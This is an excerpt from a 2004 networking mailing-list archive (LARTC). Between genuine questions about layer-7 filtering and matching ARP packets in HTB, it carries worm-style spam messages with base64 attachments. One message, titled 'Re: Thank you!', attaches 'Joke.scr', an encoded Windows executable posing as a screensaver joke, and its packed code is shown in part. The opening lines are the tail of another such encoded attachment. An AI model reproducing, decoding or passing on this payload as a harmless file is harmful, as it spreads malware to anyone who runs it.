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
pjqDCudDoJDukWOqAV5DuxazzNBEk2GtLmT7SDLQv1rf84D9wgz1tG0aKq0c954OoSRuqatc
OBsy0Hx94IwsyIKqFfoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAOAAAgAAAAAAAAAAA
AAAAAAAAAQAAAAAAUAAAAKDwAABoCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgA
AIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAAAI+wAAFAAAAAAAAAAAAAAAKAAAAEAAAACAAAAA
AQAEAAAAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICA
AACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4iIiIiIiIiIiIiIiIiIiHAAAAAAAAAAAA
AAAAAAAAAH////////////////////hwAAAAAIiAAAAAAAAAAAAAB/cHcHcHcHcHcHcHcHcH
d4cAAAAIiIgAAAAAAAAAAAAAf3D3D3D3D3D3D3D3D3DweHAAAIiIiIAAAAAAAAAAAAAH9w9w
9w9w9w9w9w9w9w8HhwAIiIiIiAAAAAAAAAAAAAB/cPcPcPcPcPcPcPcPcPAIAIiIiIiIgAAA
AAAAAAAAAAB/iIiIiIiIiIiIiIiIiAAIiIiIiIjwAAAAAAAAAAAAAH+IAIiIiIiIiIiIeIiI
AIiIiIiIj3AAAAAAAAAAAAAAf4iqiIiIiIgAAAAAAIgIiIiIiIj3cAAAAAAAAAAAAAB/iIiI
iIiIiHd3d3d3gIiIiIiIj3dwAAAAAAAAAAAAAH+IiIiIiIiIiIiIiIgPiIiIiIj3d3AAAAAA
AAAAAAAAf4iIiIiIiIiIiIiIiAj4iIiIj3d3cAAAAAAAAAAAAAB/////////////////CI+I
iIj3d3dwAAAAAAAAAAAAAAd3d3d3d3d3d3d3d3cAiPiIj3d3AHAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA/4j4j3d3CAcAAAAAAAAAAAAAAAB3d3d3d3d3d3d3dw+P8I/3d3CHdwAAAAAAAA
AAAAAAAH+IiIiIiIiIiIiA+IiAiHcACHd3AAAAAAAAAAAAAAAAf4///////////w+IiAiIdw
iHd3AAAAAAAAAAAAAAAAB/gERERERERERA+IiA+Ih3CHd3AAAAAAAAAAAAAAAAAH+AzMzMzM
zMzA+IiAD4iHcHd3AAAAAAAAAAAAAAAAAAf4DMzMzMzMzA+IiAcPCId3d3AAAAAAAAAAAAAA
AAAAB/gMzMzMzMzH/4iAdwB3h3d3AAAAAAAAAAAAAAAAAAAH+AzMzMzMzMD4+Ah3B3eHd3AA
AAAAAAAAAAAAAAAAAAf4DMzMzMzMwPiAiHcHcId3AAAAAAAAAAAAAAAAAAAAB/gMzMzMzMzA
+ICIdwcAh3AAAAAAAAAAAAAAAAAAAAAH+AzMzMzMzMD4d4h3AAAAAAAAAAAAAAAAAAAAAAAA
AAf4DMzMzMzMzAd0iHcAAAAAAAAAAAAAAAAAAAAAAAAAB/gM7MzMzMzMzMSIdwAAAAAAAAAA
AAAAAAAAAAAAAAAH+AzszMzMzMzMxIh3AAAAAAAAAAAAAAAAAAAAAAAAAAf4DMzMzMzMzMzE
iHcAAAAAAAAAAAAAAAAAAAAAAAAAB/gAAAAAAAAAAACIdwAAAAAAAAAAAAAAAAAAAAAAAAAH
+Hd3d3d3d3d3d4h3AAAAAAAAAAAAAAAAAAAAAAAAAAf4iIiIiIiIiIiIiHcAAAAAAAAAAAAA
AAAAAAAAAAAAAH//////////////dwAAAAAAAAAAAAAAAAAAAAAAAAAAB4iIiIiIiIiIiIj3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
/////////////+AAAAAf////wAAAAA/x///AAAAAB+D//+AAAAADwH//8AAAAAGAP//4AAAA
AQAf//wAAAAAAA///wAAAAAAD///AAAAAAAP//8AAAAAAA///wAAAAAAD///AAAAAAAP//8A
AAAAAA///wAAAAAAD///gAAAAAAP///gAAAAAA///+AAAAAAD///4AAAAAAP///gAAAAAB//
/+AAAAAAP///4AAAAAB////gAAAAAP///+AAAAAB////4AAAAAP////gAAAAB////+AAAAAP
////4AAAAR/////gAAAD/////+AAAAf/////4AAAB//////gAAAH/////+AAAAf/////4AAA
B//////gAAAH//////AAAAf/////+AAAB//////8AAAP////////////////////////////
////////AAABAAEAQEAQAAEABABoCgAAAQBYFII+ihUvJ4K4SbwSiKwoiElpISWTWX4RP4/D
dlMYCzQ8hzyjuxh7jgSNpnomupq2dgwuoylmUpGFZHqsT3ItU0WiQpJ/tlYdtFUadRqknxc9
H2quGHG9K3evdwNMtAs5BE3GkmuCl68FMz6eKE9bfAeboVq4IbIiCrxCT7csBYEPZ4gwhrU3
jUAjJHw8awYfMoV+o5NLXBJXDGrCmIeKhCoPgqidljNFH1iwGWoarKRLQlNIU51dSnavMUis
VIuxEIzAMEGcbEtKcazGKBJKGJ4JTXtlZDk9pjmqpE17ljU5nmc7

----------ndajvgqikkpqtsjtgvyc--


From Dave Scott <finalglide@gmail.com>  Fri Nov  5 00:37:19 2004
From: Dave Scott <finalglide@gmail.com> (Dave Scott)
Date: Thu, 4 Nov 2004 16:37:19 -0800
Subject: [LARTC] layer 7 filters and reseting a connection
Message-ID: <935fab20041104163731b2b6bd@mail.gmail.com>

Hi,

I' ve been experimenting with Layer 7 filtering.  Since this filters
only the first few packets and relies on an established connection,
how would one reset a connection to check if the filtering is working
right away.

Simply flushing all chains and restarting dosen't seem to do it.  Is
there an easy way to do this in iptables or tc or something?

thanks

-Dave

From George Alexandru Dragoi <waruiinu@gmail.com>  Fri Nov  5 07:21:45 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Fri, 5 Nov 2004 09:21:45 +0200
Subject: [LARTC] QoS and arp packets.
Message-ID: <3063e504110423212c9daf1d@mail.gmail.com>

Hello list,

I'm having problems with HTB on a machine. I noticed that after a
while the machine seems off-line after i start the htb script. After
some debugging i realised the problem stays in the arp packets send by
the machine, which are delayed or dropped. Because of that i had to
remove the default class. Is there a way to match arp packets ?
because i want to add them to the class destinated for the machine
itself.

Thanks in advance.

From roy@xxx.lt  Fri Nov  5 07:24:46 2004
From: roy@xxx.lt (Roy)
Date: Fri, 05 Nov 2004 09:24:46 +0200
Subject: [LARTC] Re: Thank you!
Message-ID: <swfdbosrvgzakfjmyva@mailman.ds9a.nl>

----------juuycxvfawpkjctjndeh
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:))

<br>
</body></html>

----------juuycxvfawpkjctjndeh
Content-Type: application/octet-stream; name="Joke.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Joke.scr"

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA
ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAvUAAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAAAgUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAAgUAAADw
AAACBQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA
6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb
aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr
As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo
AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC
KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo
AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE
UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA
cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ
6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS
